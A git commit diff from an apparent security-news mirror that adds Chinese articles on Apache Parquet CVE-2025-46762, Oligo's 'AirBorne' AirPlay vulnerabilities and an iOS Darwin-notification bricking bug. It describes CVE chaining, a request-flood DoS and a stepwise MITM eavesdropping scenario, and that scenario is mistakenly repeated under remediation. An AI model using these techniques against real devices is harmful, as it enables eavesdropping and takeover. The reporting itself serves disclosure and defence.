mirror of
https://github.com/gelusus/wxvl.git
synced 2025-08-13 11:28:20 +00:00
被忽视的暗面:客户端应用漏洞挖掘之旅、用友NC ncmsgservlet 反序列化RCE、Apache Parquet Java 漏洞 CVE-2025-46762 使系统暴露于远程代码执行攻击、出洞如此简单!一次轻松的小程序漏洞挖掘、【安全圈】iOS 出现新严重漏洞,仅需一行代码即可导致 iPhone 崩溃、用友NC jiuqisingleservlet 反序列化RCE、紧急预警!微软Telnet惊现"零点击"核弹级漏洞,旧系统用户速查!、PoC | 三星 MagicINFO 9 服务器中的漏洞 (CVE-2024-7399) 被利用、Apple及物联网设备面临风险 | 空中传播:AirPlay 协议中的零点击蠕虫式远程代码执行漏洞、雷神众测漏洞周报2025.4.28-2025.5.5、
This commit is contained in:
parent
f2ceea13d0
commit
de275b411b
12
data.json
12
data.json
@ -13691,5 +13691,15 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247549783&idx=1&sn=f28d088202fd236d66bb8917bac6df62": "出洞如此简单!一次轻松的小程序漏洞挖掘",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652069467&idx=4&sn=82381e377828001cba5f1b8b0cd0bdf1&subscene=0": "【安全圈】CVE-2025-21756:Linux 内核漏洞如何导致完全 root 权限利用,PoC 发布",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247582234&idx=1&sn=93a0e5ec10f5fee802cea3b4a1279e89&subscene=0": "苹果“AirBorne”漏洞可能导致零点击 AirPlay RCE 攻击",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503352&idx=1&sn=283ef81dee566006f482ac1dc2eaec42&subscene=0": "安全热点周报:邮件远程代码执行漏洞遭利用,用于攻击日本机构"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503352&idx=1&sn=283ef81dee566006f482ac1dc2eaec42&subscene=0": "安全热点周报:邮件远程代码执行漏洞遭利用,用于攻击日本机构",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMjg0MjM5OQ==&mid=2247488046&idx=1&sn=4e3163b45b07288c088e3952bdd201ec": "被忽视的暗面:客户端应用漏洞挖掘之旅",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491366&idx=1&sn=ed90802522084f51539954e091d9b130": "用友NC ncmsgservlet 反序列化RCE",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247498692&idx=2&sn=0baa28b11a133d27696fb48799898d9a": "Apache Parquet Java 漏洞 CVE-2025-46762 使系统暴露于远程代码执行攻击",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3OTUxNTU2NQ==&mid=2247490851&idx=1&sn=ae092989be7c5a24727ce2506a1d2cf8": "出洞如此简单!一次轻松的小程序漏洞挖掘",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652069467&idx=3&sn=24714661691469cf4a95022a439d1f5f&subscene=0": "【安全圈】iOS 出现新严重漏洞,仅需一行代码即可导致 iPhone 崩溃",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491358&idx=1&sn=25d5069956ba79f8cdaf18aa233bfebd": "用友NC jiuqisingleservlet 反序列化RCE",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxMDc0MTc5Mw==&mid=2247483817&idx=1&sn=35e0f3a07599d753c57e63a9773f7363": "紧急预警!微软Telnet惊现\"零点击\"核弹级漏洞,旧系统用户速查!",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247498692&idx=3&sn=69326d8c536920e7fa412720fdb23bb2": "PoC | 三星 MagicINFO 9 服务器中的漏洞 (CVE-2024-7399) 被利用",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247616061&idx=1&sn=ba07725e0de0e77761e54fe7fef1fb6b": "Apple及物联网设备面临风险 | 空中传播:AirPlay 协议中的零点击蠕虫式远程代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3OTUxNTU2NQ==&mid=2247490851&idx=3&sn=b2361c95695a8d9de2a17e76a812fc28": "雷神众测漏洞周报2025.4.28-2025.5.5"
|
||||
}
|
@ -0,0 +1,41 @@
|
||||
# Apache Parquet Java 漏洞 CVE-2025-46762 使系统暴露于远程代码执行攻击
|
||||
独眼情报 2025-05-07 05:28
|
||||
|
||||

|
||||
|
||||
CVE-2025-46762
|
||||
|
||||
Apache Parquet Java 中发现了一个漏洞,可能导致系统暴露于远程代码执行 (RCE) 攻击。Apache Parquet 贡献者 **Gang Wu**https://github.com/wgtmac
|
||||
发现了这个缺陷,该缺陷被追踪为 CVE-2025-46762,存在于 parquet-avro 模块中,并于 5 月 2 日公开披露。
|
||||
|
||||
此安全问题影响所有版本的 Apache Parquet Java,包括 1.15.1 版本,允许恶意行为者在易受攻击的系统上执行任意代码。
|
||||
### CVE-2025-46762 的技术细节
|
||||
|
||||
这个 漏洞 的核心在于 parquet-avro 模块内不安全的模式解析过程。该缺陷使攻击者能够将 恶意代码 注入到 Parquet 文件的元数据中,特别是在 Avro 模式内。当易受攻击的系统读取该文件时,此恶意代码会自动执行,为远程代码执行 (RCE) 铺平道路。
|
||||
|
||||
对于使用“specific”或“reflect”数据模型(而非更安全的“generic”模型)的系统,风险尤其突出。虽然“generic”模型不受此漏洞影响,但受信任包的默认配置仍然留有某些代码执行路径,可能允许通过预先批准的 Java 包(例如 java.util)触发漏洞利用。
|
||||
### 受影响的系统和问题范围
|
||||
|
||||
CVE-2025-46762 的影响范围涵盖所有 Apache Parquet Java 版本,直至 1.15.1。 广泛的应用程序,特别是那些在 Apache Spark、Hadoop 和 Flink 等大数据框架中利用 parquet-avro 模块的应用程序,都容易受到此威胁的影响
|
||||
。 这些平台依赖该模块进行反序列化和模式解析,如果系统正在读取带有恶意 Avro 模式数据的 Parquet 文件,则会打开潜在的攻击面。
|
||||
|
||||

|
||||
Apache Parquet Java 1.15.2 发布说明 (GitHub)
|
||||
|
||||
对于管理数据管道的组织,特别是那些在大数据生态系统中处理 Parquet 文件的组织,这种威胁是相当大的。如果未修补,攻击者可以将恶意 Parquet 文件注入数据流,从而通过后端的 漏洞 进行利用。
|
||||
### 缓解策略
|
||||
|
||||
Apache 软件基金会敦促所有用户紧急解决此问题。 有两种主要的缓解策略可用:
|
||||
1. 升级到 Apache Parquet Java 1.15.2:此版本通过收紧对受信任包的边界来完全解决此问题,确保恶意代码无法通过现有配置执行。
|
||||
|
||||
1. 版本 1.15.1 用户的补丁:对于无法立即升级的用户,建议设置 JVM 系统属性 -Dorg.apache.parquet.avro.SERIALIZABLE_PACKAGES=”” 为空。这将通过阻止执行来自潜在的 恶意包 的代码来降低风险。
|
||||
|
||||
此外,建议组织审计其数据管道,优先使用通用 Avro 模型,该模型不受漏洞影响。在可行的情况下实施此模型可以降低通过 CVE-2025-46762 进行 RCE 攻击的风险。
|
||||
|
||||
未修补的易受 CVE-2025-46762 攻击的系统不仅面临直接攻击,还面临供应链漏洞利用的风险,其中受损的 Parquet 文件可能会触发恶意代码的后端执行,从而导致广泛的系统故障。
|
||||
|
||||
安全专家强调了远程代码执行 (RCE) 的严重威胁,这可能导致数据泄露、未经授权的访问和其他恶意活动。鉴于此漏洞的性质及其对大规模数据环境的影响,快速行动至关重要。
|
||||
|
||||
强烈建议使用 Apache Parquet Java 1.15.1 及更早版本的用户升级到 1.15.2 版本或应用必要的补丁来缓解这些风险 ,从而确保其系统免受攻击。
|
||||
|
||||
|
414
doc/2025-05/Apple及物联网设备面临风险 空中传播:AirPlay 协议中的零点击蠕虫式远程代码执行漏洞.md
Normal file
414
doc/2025-05/Apple及物联网设备面临风险 空中传播:AirPlay 协议中的零点击蠕虫式远程代码执行漏洞.md
Normal file
@ -0,0 +1,414 @@
|
||||
# Apple及物联网设备面临风险 | 空中传播:AirPlay 协议中的零点击蠕虫式远程代码执行漏洞
|
||||
白帽子左一 白帽子左一 2025-05-07 04:00
|
||||
|
||||
|
||||
|
||||
扫码领资料
|
||||
|
||||
获网安教程
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
**来****Track安全社区投稿~**
|
||||
|
||||
**赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)**
|
||||
## 概要
|
||||
|
||||
Oligo 安全研究团队发现了 Apple 的 AirPlay 协议及其软件开发工具包(SDK)中的一组新漏洞,后者被第三方厂商用于将 AirPlay 集成进自家设备中。
|
||||
|
||||
这些漏洞可被利用实现多种攻击方式和结果,包括:
|
||||
- • 零点击远程代码执行(Zero-Click RCE)
|
||||
|
||||
- • 单点击远程代码执行(One-Click RCE)
|
||||
|
||||
- • 绕过访问控制列表(ACL)和用户交互
|
||||
|
||||
- • 本地任意文件读取
|
||||
|
||||
- • 敏感信息泄露
|
||||
|
||||
- • 中间人攻击(MITM)
|
||||
|
||||
- • 拒绝服务攻击(DoS)
|
||||
|
||||
攻击者可以将这些漏洞进行组合利用,从而可能控制支持 AirPlay 的设备,包括 Apple 自家设备以及使用 AirPlay SDK 的第三方设备。
|
||||
|
||||
Oligo 将这些漏洞及其所启用的攻击方式命名为 “AirBorne”,因为相关攻击可通过无线网络或点对点连接传播,并允许攻击者完全控制设备,并将该访问权限作为进一步攻击的跳板。
|
||||
|
||||
Oligo 证明其中两个漏洞(CVE-2025-24252 和 CVE-2025-24132)可被**武器化为可蠕虫式的零点击 RCE 漏洞**
|
||||
。这意味着攻击者可以接管启用 AirPlay 的设备,部署会传播的恶意软件,并感染任何该设备连接的本地网络中的其他设备。这可能导致间谍活动、勒索软件、供应链攻击等高级攻击的投递。
|
||||
|
||||
由于 AirPlay 是 Apple 设备(如 Mac、iPhone、iPad、Apple TV 等)和部分第三方设备的关键组件,这类漏洞的影响范围可能非常广泛。
|
||||
|
||||
一些数据参考:
|
||||
- • 虽然并非所有 Apple 设备都易受 AirBorne 攻击,但 Apple 于 2025 年 1 月表示其全球活跃设备已达 23.5 亿台。
|
||||
|
||||
- • 2018 年 Apple 表示其 macOS 活跃用户已超 1 亿。
|
||||
|
||||
- • iPhone、Apple TV、Vision Pro 等设备也受不同 AirBorne 漏洞影响,其中 iPhone 需在设置中手动开启 AirPlay 接收器功能。
|
||||
|
||||
- • 支持 AirPlay 的第三方音频设备数量估计达数千万。
|
||||
|
||||
- • 虽然支持 CarPlay 的具体设备数不详,但其已在 800 多款车型中广泛使用。
|
||||
|
||||
Apple 与 Oligo 已合作识别并修复这些漏洞,目标是保护终端用户。Apple 已发布最新软件版本修复漏洞,并留出时间供用户更新。在负责任的漏洞披露过程中,Oligo 向 Apple 提供了漏洞相关的文档、流程与代码。
|
||||
|
||||
Oligo 共向 Apple 披露了 23 个漏洞,最终发布了 17 个 CVE 编号。完整的 CVE 列表及其所启用的攻击场景详见下文。
|
||||
## 攻击类型
|
||||
|
||||
Oligo 发现的这些漏洞,无论是单独使用还是组合利用,都可以实现多种攻击向量,包括远程代码执行(RCE)、访问控制列表绕过、用户交互绕过、本地任意文件读取、敏感信息泄露、中间人攻击(MITM)、拒绝服务(DoS)攻击。
|
||||
|
||||
本文重点分析基于 MacOS、AirPlay SDK 和 CarPlay 设备的 RCE 攻击。在未来的文章中,Oligo 可能还会分析其他设备及攻击类型。
|
||||
### 远程代码执行(RCE)攻击
|
||||
|
||||
利用 AirBorne,攻击者可以在特定条件下对易受攻击的设备实现远程代码执行,这些条件包括 Apple 或第三方设备的设置,以及用户偏好。
|
||||
|
||||
以下是根据不同配置下可能实现的 RCE 攻击示例:
|
||||
#### MacOS – 零点击 RCE
|
||||
|
||||
**CVE-2025-24252**
|
||||
是一个使用后释放(Use-After-Free, UAF)漏洞,可被利用为标准 UAF 攻击,也可以被操控为“任意释放”,使攻击者能在 macOS 设备上远程执行代码。
|
||||
|
||||
当该漏洞与 **CVE-2025-24206**
|
||||
(用户交互绕过)组合使用时,攻击者可对与其处于同一网络中的 macOS 设备实现零点击 RCE,只要该设备开启了 AirPlay 接收器并设置为“同一网络中的任何人”或“所有人”。
|
||||
|
||||
在该配置下,漏洞具备可蠕虫化特性,即攻击路径可以从一台设备自动传播到另一台设备,无需人工干预。
|
||||
|
||||
一种潜在场景:受害设备在公共 WiFi 下被入侵,之后连接到公司网络,从而为攻击者提供横向移动的路径,接管更多设备。
|
||||
|
||||
以下视频展示了我们“写入任意地址”的原语,实时覆盖音乐应用。我们刻意增加了一个点击动作来启动应用,以便更清楚地展示效果。由于我们的原语可以覆盖任意内存地址,因此无需打开应用即可实现多种利用方式。
|
||||
|
||||

|
||||
|
||||
利用过程,漏洞利用视频链接:https://www.youtube.com/embed/ZmOvRLBL3Ys?si=6F6wvPcPcLeDx9pb
|
||||
#### MacOS – 单点击 RCE
|
||||
|
||||
**CVE-2025-24271**
|
||||
是一个访问控制列表(ACL)漏洞,允许攻击者在未配对的情况下向目标设备发送 AirPlay 命令。当该漏洞与 **CVE-2025-24137**
|
||||
组合使用时,可对配置为“当前用户”的 macOS 设备实现单点击 RCE,前提是设备与攻击者处于同一网络,并开启了 AirPlay 接收器。
|
||||
|
||||
注意:CVE-2025-24137 已由 Apple 于 2025 年 1 月 27 日在 macOS Sequoia 15.3 中修复:
|
||||
|
||||

|
||||
|
||||
**AirPlay SDK - 扬声器与接收器 - 零点击远程代码执行(Zero-Click RCE)**
|
||||
|
||||
**CVE-2025-24132**
|
||||
是一个基于堆栈的缓冲区溢出漏洞。该漏洞允许攻击者在使用 AirPlay SDK 的扬声器和接收器设备上实现零点击远程代码执行(RCE)。无论设备处于何种配置状态,该漏洞都可被利用,从而在完全无需用户交互的情况下发动攻击。
|
||||
|
||||
在这种情况下,漏洞可被用于构造“蠕虫式”攻击路径,使攻击从一个设备自动传播至另一个设备。
|
||||
|
||||
成功攻击的结果可能包括一些“轻松”的操作,例如在设备上显示图像或播放音乐,也可能包括更为严重的行为,例如利用设备的麦克风监听附近的对话——比如在一个高规格会议室中窃听。
|
||||
|
||||

|
||||
|
||||
利用过程,youtube上的视频演示链接:https://www.youtube.com/embed/vcs5G4JWab8?si=kgz3r_sZrbiiJ07e
|
||||
|
||||
**CarPlay 设备 - 零点击与单点击远程代码执行(RCE)**
|
||||
|
||||
**CVE-2025-24132**
|
||||
是一个基于堆栈的缓冲区溢出漏洞,同样适用于 CarPlay 设备。在特定条件下,该漏洞可实现零点击 RCE。攻击可能带来的结果包括:通过图像显示或播放音频分散驾驶员注意力,甚至执行更恶意的行为,如窃听车内对话或跟踪车辆位置。
|
||||
|
||||
具体攻击条件包括:
|
||||
- • **WiFi 条件**
|
||||
:若攻击者靠近 CarPlay 单元,并利用 CarPlay 设备的 WiFi 热点功能,在默认、可预测或已知的热点密码条件下,攻击者可获取访问权限并执行远程代码。
|
||||
|
||||
- • **蓝牙条件**
|
||||
:某些 CarPlay 设备厂商会通过 IAP2 协议利用蓝牙传输 WiFi 凭据,配对过程中需输入 PIN 码。若攻击者 1)靠近 CarPlay 单元,2)能看到并输入 AirPlay 设备上显示的 PIN 码,则可实施 RCE 攻击。在某些情况下,这是一次单点击 RCE,因为可能需要受害者点击确认。
|
||||
|
||||
- • **USB 条件**
|
||||
:非无线版本的 CarPlay 设备可通过物理连接(USB)受到攻击。
|
||||
|
||||
攻击效果示例如下:通过显示图像或播放音频干扰驾驶员注意力,或者进行更具隐蔽性的操作,例如窃听谈话或追踪车辆位置。
|
||||
|
||||

|
||||
|
||||
利用过程,youtube上的视频演示链接:https://www.youtube.com/embed/eq8bUwFuSUM?si=dEfz6cfkdUTkfmCX
|
||||
### 其他攻击方式
|
||||
|
||||
由于远程代码执行(RCE)漏洞的潜在影响巨大,本文档主要聚焦于该类漏洞的细节。
|
||||
|
||||
然而,正如前文所述,除了 RCE 外,这组漏洞还可能带来其他攻击路径和利用方式,包括:访问控制列表(ACL)和用户交互绕过、本地任意文件读取、敏感信息泄露、中间人攻击(MITM)以及拒绝服务攻击(DoS),这些可能会在未来的博客中进一步提供这些攻击路径与利用方式的详细信息和分析。
|
||||
### 为何研究 AirPlay
|
||||
|
||||
本次研究起源于对 0.0.0.0 day 漏洞:https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser的调查。在扫描可能通过
|
||||
0.0.0.0
|
||||
被访问的开放端口时,我们注意到内部网络中的大多数设备都开放了 AirPlay 的 7000 端口。出于对该协议的好奇,我们开始研究 AirPlay 服务器所处理的基础命令。
|
||||
|
||||
令人惊讶的是,许多协议命令在默认设置下即可完全访问。在初步分析协议时,我们注意到某些处理流程中的命令存在明显的“代码异味(code smell)”,这些可疑流程促使我们深入挖掘,最终开展了这项广泛的研究工作。
|
||||
## 技术概览
|
||||
### 攻击向量的工作原理
|
||||
|
||||
AirPlay 通过端口
|
||||
7000
|
||||
通信,使用的是一种专有的
|
||||
API
|
||||
协议,结合了
|
||||
HTTP
|
||||
和
|
||||
RTSP
|
||||
协议的特点。在该协议中,许多命令(尤其是需要附加参数的)通过
|
||||
HTTP
|
||||
的数据负载发送,并采用
|
||||
plist
|
||||
(属性列表)格式编码。
|
||||
|
||||
属性列表(
|
||||
plist
|
||||
)是一种在 Apple 生态中广泛使用的结构化数据格式,用于序列化和存储数据。plist 使用键值对的分层结构表示数据,支持多种数据类型,如字符串、数字、日期、布尔值、数组和字典,并可序列化为
|
||||
XML
|
||||
或二进制格式。
|
||||
|
||||
Apple 的 Core Foundation API 在处理 plist 文件方面起着关键作用,这些 API 提供了读写与序列化 plist 的完整功能。
|
||||
|
||||
由于 plist 是向 AirPlay 接收端传递参数的主要方式,理解 plist 的结构对于掌握整个协议至关重要。更重要的是,许多漏洞都直接与 plist 参数解析流程相关。
|
||||
|
||||
举例来说,CVE-2025-24129 就是一个由于 plist 参数处理不当而引发的类型混淆(Type Confusion)漏洞。由于该漏洞已于 1 月公开,因此我们可以分享一些技术细节。至于其他漏洞(包括本次披露的新漏洞),我们将在确保大多数用户已更新至最新版本、不再受影响之后再行公开技术细节。
|
||||
### 利用 CVE-2025-24129 演示的类型混淆漏洞
|
||||
- • **URI**
|
||||
:/getProperty
|
||||
|
||||
- • **方法**
|
||||
:POST
|
||||
|
||||
AirPlay 中的
|
||||
getProperty
|
||||
命令用于从接收端获取特定属性或设置,例如当前的音量级别或设备名称。
|
||||
|
||||
方法 CFPropertyCreateWithData
|
||||
会将客户端通过 HTTP 发送的数据构造成一个
|
||||
propertylist
|
||||
。该方法根据用户提供的数据内容不同,可能返回不同的 CFType 类型(如 CFArray、CFString 等)。
|
||||
|
||||

|
||||
|
||||
|
||||
如上图所示,使用 CFPropertyListCreateWithData
|
||||
创建了一个属性列表(
|
||||
property list
|
||||
),但返回结果的类型(
|
||||
CFType
|
||||
)并未进行校验,程序默认其为字典类型(
|
||||
CFDictionary
|
||||
)。
|
||||
|
||||
如果实际创建的 plist 不是一个
|
||||
CFDictionary
|
||||
,那么在调用如 CFDictionaryGetValue
|
||||
这类函数时,程序将会崩溃。
|
||||
|
||||
**可利用性分析**
|
||||
:
|
||||
CFDictionaryGetValue
|
||||
属于 CoreFoundation 库的一部分,因此该问题的可利用性取决于具体的 CoreFoundation 版本。我们发现,大多数类型混淆漏洞在不同版本的 CoreFoundation 中,其可利用性也存在差异。
|
||||
### 未获得 CVE 编号的漏洞
|
||||
|
||||
Oligo Security 研究团队向 Apple 报告了共计 23 个漏洞。这些漏洞均已被修复,但并非所有漏洞都获得了 CVE 编号。
|
||||
|
||||
在某些情况下,Apple 会根据修复方式和修复时间将多个漏洞归类为同一个 CVE,而非按漏洞类型、影响范围或在 AirPlay 协议代码中的位置进行区分。
|
||||
|
||||
以下是两个未获得 CVE 编号的漏洞示例:
|
||||
#### /setProperty 路由崩溃漏洞
|
||||
- • **URI**
|
||||
:/setProperty
|
||||
|
||||
- • **方法**
|
||||
:PUT
|
||||
|
||||
- • **适用配置**
|
||||
:全部设备
|
||||
|
||||
- • **用户交互**
|
||||
:需要用户点击一次以接受连接
|
||||
|
||||
AirPlay 中的
|
||||
setProperty
|
||||
命令允许发送端配置接收端的某些属性或设置,如调节音量、播放选项或设备特定功能。
|
||||
|
||||
大多数 AirPlay 的
|
||||
POST
|
||||
/
|
||||
PUT
|
||||
命令都要求 HTTP 请求中的数据以 plist 格式提供。
|
||||
|
||||

|
||||
|
||||
|
||||
在 mcProcessor_requestProcessSetProxiedProperty
|
||||
中对
|
||||
HTTP
|
||||
数据 plist 的格式化处理:
|
||||
|
||||
服务器期望在
|
||||
/setProperty
|
||||
的
|
||||
plist
|
||||
载荷中包含一个 value
|
||||
键。
|
||||
|
||||
value
|
||||
变量在未检查是否为 null 的情况下被用于构造响应:
|
||||
|
||||

|
||||
|
||||
|
||||
如果用户在请求中未发送 value
|
||||
键,它将保持为 null。
|
||||
|
||||
在此情况下调用
|
||||
CFDictionarySetValue
|
||||
会因传入 null 而触发未处理异常,导致
|
||||
ControlCenter
|
||||
进程崩溃。
|
||||
#### 通过 WindowServer 崩溃实现远程用户注销
|
||||
- • **URI**
|
||||
:rtsp://<ip>/stream
|
||||
|
||||
- • **方法**
|
||||
:SETUP
|
||||
|
||||
- • **适用配置**
|
||||
:同一网络中的任意用户 / 所有人
|
||||
|
||||
- • **用户交互**
|
||||
:使用 CVE-2025-24206 实现 0 点击攻击
|
||||
|
||||
AirPlay 中的 SETUP 方法基于 RTSP(实时流传输协议),用于从发送端(如 iPhone/iPad)向接收端(如 Apple TV)发起媒体流。
|
||||
|
||||
发送多个 SETUP 命令会创建多个视频流。由于系统未限制流数量,我们可以通过 while
|
||||
循环持续创建流。
|
||||
|
||||
持续发送大量流会增加 WindowServer 服务的内存占用和响应时间。几秒钟后,**看门狗(watchdog)会终止 WindowServer 服务,导致用户被强制注销。**
|
||||
|
||||
该漏洞允许网络内或附近的攻击者远程强制注销用户。
|
||||
|
||||

|
||||
|
||||
利用过程,youtube上的视频演示链接:https://www.youtube.com/embed/RODsw_eXB5g?si=6-0QL0-HZmynZmsS
|
||||
## AirBorne 漏洞
|
||||
|
||||
AirBorne 漏洞使设备暴露于多种攻击之下,每类漏洞都带来了独特的安全风险。以下是对各类漏洞功能与潜在影响的分析。
|
||||
### ACL 和用户交互绕过
|
||||
|
||||
AirPlay 使用两项主要功能来处理访问权限控制:
|
||||
- • **ACL(访问控制列表)**
|
||||
:根据 AirPlay 接收端的配置限制访问权限。
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
- • 点击接受 – 某些操作要求用户点击“接受”并批准 AirPlay 连接。
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
我们发现了多个 ACL 绕过漏洞和问题,以及一个用户交互绕过问题,这使得在 macOS 设备配置为 AirPlay 接收器默认设置并设置为“当前用户”时,AirBorne 漏洞可以实现许多攻击。
|
||||
|
||||
CVE-2025-24206 还**通过绕过“Accept”点击要求**
|
||||
使许多攻击成为零点击攻击。
|
||||
|
||||
**用户交互绕过**
|
||||
|
||||

|
||||
|
||||
**ACL 问题和绕过**
|
||||
|
||||

|
||||
|
||||
**远程代码执行 (RCE)**
|
||||
|
||||
该套件中最严重的漏洞允许远程代码执行,使攻击者能够完全接管易受攻击的设备。这些漏洞使得 AirBorne 可以被蠕虫化。在攻陷一个设备后,攻击者可以利用相同的漏洞传播到其他设备和网络,进一步扩大影响和破坏。
|
||||
|
||||
以下是可以用于接管设备(RCE)的漏洞。
|
||||
|
||||

|
||||
|
||||
**本地任意文件读取**
|
||||
|
||||
另一个漏洞允许本地用户读取属于其他用户的文件。利用此漏洞,攻击者可以读取敏感数据、提取凭据,或者潜在地控制具有更高权限的进程。
|
||||
|
||||

|
||||
|
||||
**敏感信息泄露**
|
||||
|
||||
另一个关键漏洞可能导致敏感数据在网络上暴露。该漏洞将敏感的日志数据暴露给网络上的任何用户,使攻击者能够识别设备并获取关于用户和设备的敏感信息。
|
||||
|
||||
**可用于获取敏感数据的漏洞:**
|
||||
|
||||

|
||||
|
||||
### 其他漏洞
|
||||
|
||||
以下漏洞使攻击者能够执行多种不同的操作,例如拒绝服务(DoS)。由于与AirBorne相关的CVE数量较多,因此未能对潜在的可利用性进行深入研究。
|
||||
|
||||

|
||||
|
||||
虽然上述漏洞可能会产生各种影响,但崩溃AirPlay服务器为中间人攻击提供了机会。例如,考虑一下即将开始的董事会议。首席执行官希望将会议通过AirPlay投射到办公室的电视上。攻击者可以利用其中一个DoS漏洞:
|
||||
- • 利用其中一个DoS漏洞使电视的AirPlay接收器崩溃
|
||||
|
||||
- • 使用mDNS伪造电视在网络上的身份
|
||||
|
||||
- • 等待首席执行官开始将内容流式传输到伪造的AirPlay服务器
|
||||
|
||||
- • 将首席执行官的流从伪造的服务器中转发到真实的电视
|
||||
|
||||
- • 捕获并记录整个会议内容,从被拦截的流中获取
|
||||
|
||||
### 漏洞缓解
|
||||
|
||||
对于组织来说,确保所有公司Apple设备和其他支持AirPlay的设备立即更新到最新的软件版本至关重要。安全领导者还需要向员工明确传达,所有支持AirPlay的个人设备也需要立即更新。
|
||||
## 建议修复步骤
|
||||
|
||||
- • **建议用户更新设备**
|
||||
,以减轻潜在的安全风险。****
|
||||
|
||||
- • **禁用AirPlay接收器**
|
||||
:如果不使用AirPlay接收器,建议彻底禁用。****
|
||||
|
||||
- • **限制AirPlay访问**
|
||||
:创建防火墙规则,仅允许受信任设备访问AirPlay通信(Apple设备上的端口
|
||||
7000
|
||||
),增强网络安全性并减少暴露风险。
|
||||
|
||||
- • **限制AirPlay设置**
|
||||
:将“允许AirPlay的设备”更改为“当前用户”。虽然这**不能防止**
|
||||
报告中提到的所有问题,但确实减少了该协议的攻击面。
|
||||
|
||||
- • 利用其中一个DoS漏洞使电视的AirPlay接收器崩溃
|
||||
|
||||
- • 使用mDNS伪造电视在网络上的身份
|
||||
|
||||
- • 等待首席执行官开始将内容流式传输到伪造的AirPlay服务器
|
||||
|
||||
- • 将首席执行官的流从伪造的服务器中转发到真实的电视
|
||||
|
||||
- • 捕获并记录整个会议内容,从被拦截的流中获取
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**AirPlay接收器可以在系统设置中关闭。**
|
||||
|
||||
参考:https://www.oligo.security/blog/airborne
|
||||
|
||||
|
||||
|
||||
获取更多精彩内容,尽在Track安全社区~:
|
||||
https://bbs.zkaq.cn
|
||||
|
||||
**声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学********习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!**
|
||||
|
||||
**如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。**
|
||||
|
||||
****
|
||||
|
File diff suppressed because one or more lines are too long
103
doc/2025-05/【安全圈】iOS 出现新严重漏洞,仅需一行代码即可导致 iPhone 崩溃.md
Normal file
103
doc/2025-05/【安全圈】iOS 出现新严重漏洞,仅需一行代码即可导致 iPhone 崩溃.md
Normal file
@ -0,0 +1,103 @@
|
||||
# 【安全圈】iOS 出现新严重漏洞,仅需一行代码即可导致 iPhone 崩溃
|
||||
安全圈 2025-05-06 11:03
|
||||
|
||||

|
||||
|
||||
|
||||
**关键词**
|
||||
|
||||
|
||||
|
||||
安全漏洞
|
||||
|
||||
|
||||

|
||||
|
||||
iOS 中的一个严重漏洞可能允许恶意应用程序仅使用一行代码即可永久禁用 iPhone。
|
||||
|
||||
该漏洞的编号为 CVE-2025-24091,利用操作系统的 Darwin 通知系统触发无限重启循环,导致设备“变砖”,需要进行完整的系统还原。
|
||||
## iOS Darwin 通知漏洞
|
||||
##
|
||||
|
||||
该漏洞利用了 Darwin 通知,这是 CoreOS 层内的一种低级消息传递机制,允许进程传达系统范围的事件。 与 NSNotificationCenter 或 NSDistributedNotificationCenter 等更常见的通知系统不同,Darwin 通知是 Apple 操作系统中在基础层面上运行的旧式 API 的一部分。
|
||||
|
||||
Darwin 通知更加简单,因为它们是 CoreOS 层的一部分。它们提供了一种低级机制,用于在 Apple 操作系统的进程之间进行简单的消息交换。发现该漏洞的安全研究员 Guilherme Rambo 解释道。
|
||||
|
||||
这个严重缺陷的根源在于,iOS 上的任何应用程序都可以发送敏感的系统级 Darwin 通知,而无需特殊权限或授权。最危险的是,这些通知可以触发强大的系统功能,包括进入“正在恢复”模式。
|
||||
## 单行漏洞利用
|
||||
##
|
||||
|
||||
该漏洞利用非常简单——只需一行代码即可触发该漏洞:
|
||||
|
||||

|
||||
|
||||
执行此代码后,设备会强制进入“正在恢复”状态。由于实际恢复过程并未发生,因此该过程必然会失败,提示用户重启设备。研究人员创建了一个名为“VeryEvilNotify”的概念验证攻击,并在一个小部件扩展中实现了此漏洞。
|
||||
|
||||
研究人员指出: “iOS 会定期在后台唤醒 Widget 扩展程序。”
|
||||
|
||||
“由于系统中小部件的使用非常广泛,当安装并启动包含小部件扩展的新应用程序时,系统非常渴望执行其小部件扩展”。
|
||||
|
||||
通过将漏洞利用程序放置在发送通知后反复崩溃的小部件中,研究人员创建了一种在每次重启后都会触发的持续性攻击,从而形成了一个无限循环,导致设备无法使用。
|
||||
|
||||
